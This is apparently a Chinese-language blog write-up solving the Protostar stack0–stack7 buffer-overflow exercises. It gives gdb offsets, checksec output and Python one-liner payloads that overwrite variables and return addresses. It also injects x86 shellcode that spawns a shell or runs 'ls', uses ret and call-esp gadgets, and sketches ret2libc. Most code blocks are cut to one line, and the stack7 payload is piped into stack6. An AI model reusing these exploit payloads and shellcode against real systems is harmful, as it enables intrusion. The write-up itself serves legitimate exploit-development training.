Stack0
首先看下源码
1 | #include <stdlib.h> |
看来我们是要通过缓冲区溢出讲局部变量modified的值改为1或者我们将程序的返回值直接执行成功的printf就行了
首先看看汇编代码
1 | (gdb) disassemble main |
看到这个0x080483fd <main+9>: movl $0x0,0x5c(%esp)
,就是 modified = 0;
下面这个就是buffer的地址
1 | 0x08048405 <main+17>: lea 0x1c(%esp),%eax |
为了看看开了什么保护,还是装个peda,懒得去单独搞个checksec了,结果发现用不了这个虚拟机的gdb不支持python的感觉,还是搞checksec吧
1 | $ ./checksec -f /opt/protostar/bin/stack0 |
0x5c跟0x1c相差了0x40个字节,我们实时0x44个A是什么情况
可以看到刚好覆盖到了,假如我们覆盖成1或者其他非0值就行
1 | (gdb) x /4w $esp+0x5c |
覆盖成1或者其他非0值
1 | $ python -c 'print "A"*0x40+"\x01\x00\x00\x00"' | ./stack0 |
##覆盖返回地址
发现buffer距离返回地址是0x54,后面改为要覆盖的地址即可
1 | $ python -c 'print "A"*0x50+"\x19\x84\x04\x08"' | ./stack0 |
有个问题就是段错误了
stack1
还是先看代码
1 | #include <stdlib.h> |
这个基本跟stack0差不多,不过这里要求modified 必须为0x61626364
还有就是这里通过命令行传参
结果:
1 | $ ./stack1 $(python -c 'print "A"*0x40+"dcba"') |
stack2
1 | #include <stdlib.h> |
这里考察的是设置环境变量
1 | $ GREENIE=`python -c 'print "A"*0x40+"\x0a\x0d\x0a\x0d"'` |
stack 3
代码
1 | #include <stdlib.h> |
获得win函数地址
1 | (gdb) print win |
所以最终就简单了,但是我们这里好像直接覆盖返回地址的话比如覆盖一个fp能执行且不影响程序的地址,原因应该是调用了fp();
为了简单
所以我们覆盖fp的值就好了
1 | $ python -c 'print "A"*0x40+"\x24\x84\x04\x08"' | ./stack3 |
stack4
1 | #include <stdlib.h> |
这个就直接覆盖返回地址了
1 | (gdb) print win |
调试发现偏移是0x4c
1 | $ python -c 'print "A"*0x4C+"\xf4\x83\x04\x08"' | ./stack4 |
stack5
1 | #include <stdlib.h> |
这里叫你开始执行shellcode了
1 | (gdb) disassemble main |
eax的值就是局部变量的其实地址,我们将返回地址覆盖为这个,shellcode放最前面就行了
有个坑就是这个地址跟实际的不一样,我们调试的gdb地址是调试状态的地址。所以要用core文件。
用这个定位ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1 | root@protostar:/tmp# gdb /opt/protostar/bin/stack5 core.11.stack5.3147 |
感觉这系统有点问题,没有任何返回,如果exit,就退出了,而不是返回上一层shell
1 | root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5 |
后来直接用exec(ls)的shellcode
1 | giantbranch:~# msfvenom -p linux/x86/exec CMD="ls" -f python |
那么就可以执行ls的了,真是日了狗,应该是我第一次的shellcode错了(当时是学习一步一步学rop时候的shellcode,怎么会错了)
1 | root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5 |
stack6
1 | #include <stdlib.h> |
这里if((ret & 0xbf000000) == 0xbf000000)
,如果返回地址是以bf开头,那么就会退出,所以我们要讲返回地址改成其他地址,比如程序中或者libc库中的地址
先定位返回值,懒得gdb调试定位了,直接peda(如果当前虚拟机用不了peda,可以用别的虚拟机啊)
1 | gdb-peda$ pattern_create 150 |
看看那里崩溃了
1 | (gdb) r |
查偏移为80
1 | gdb-peda$ pattern_offset 0x41414a41 |
覆盖返回地址为ret指令地址
将返回地址覆盖为ret指令,下一个dword就可以0xbf开头了
随便在下面找ret的地址就好
1 | root@protostar:/opt/protostar/bin# objdump -d ./stack6 |
我选这个吧:804835f
1 | root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x5f\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6 |
覆盖返回地址为jmp esp
这个应该是比较最为通用方便的了
由于在当前程序找不到,我们去libc找吧
看看使用的库在哪
1 | root@protostar:/opt/protostar/bin# ldd ./stack6 |
用rp查找一下
1 | root@protostar:/opt/protostar/bin# ./rp-lin-x86 -f /lib/libc.so.6 --rop=2 | grep "call esp" |
选这个吧0x00110af8
1 | >>> hex(0xb7e99000 + 0x00110af8) |
但发现这是错的
1 | (gdb) x /4i 0xb7fa9af8L |
后来直接看maps
1 | root@protostar:/home/user# cat /proc/5087/maps |
那就需要减个0x2000了,这时候就对了
1 | (gdb) x /4i 0xb7fa7af8 |
那么就可以了
1 | root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\xf8\x7a\xfa\xb7" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6 |
其他方法呢
当然还有其他方法啦,如下:
1 | "A" * 80 + p32(system_addr) + p32(ret) + p32(binsh_addr) |
当然binsh_addr懒得找的话也可以直接放栈上,反正没开随机化
1 | "A" * 80 + p32(system_addr) + p32(ret) + p32(binsh_addr) + "binsh" |
rop很神奇,很多思路的
stack7
代码
1 | #include <stdlib.h> |
可以看到这次连b开头的地址都不能覆盖
那么我暂时的想法是覆盖为程序段的地址,比如程序段的ret,就有很多,跟上次stack6一样的了,所以有时候做一题就可以了,不用做太多,就这个道理
因为你看内存就只有程序的地址不是b开头的
1 | root@protostar:/home/user# cat /proc/5199/maps |
所以最终
1 | root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x83\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6 |
收获
发现一条快捷搜索的命令
objdump -M intel -d /opt/protostar/bin/stack7 | grep "call.*eax"